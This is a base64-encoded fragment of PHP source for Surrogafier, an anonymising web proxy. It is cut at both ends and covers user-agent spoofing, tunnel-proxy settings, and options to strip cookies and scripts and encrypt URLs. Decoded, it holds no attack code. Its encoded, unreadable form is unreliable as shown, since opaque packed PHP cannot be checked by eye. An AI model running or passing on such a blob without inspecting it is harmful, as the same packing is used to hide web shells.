pZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpO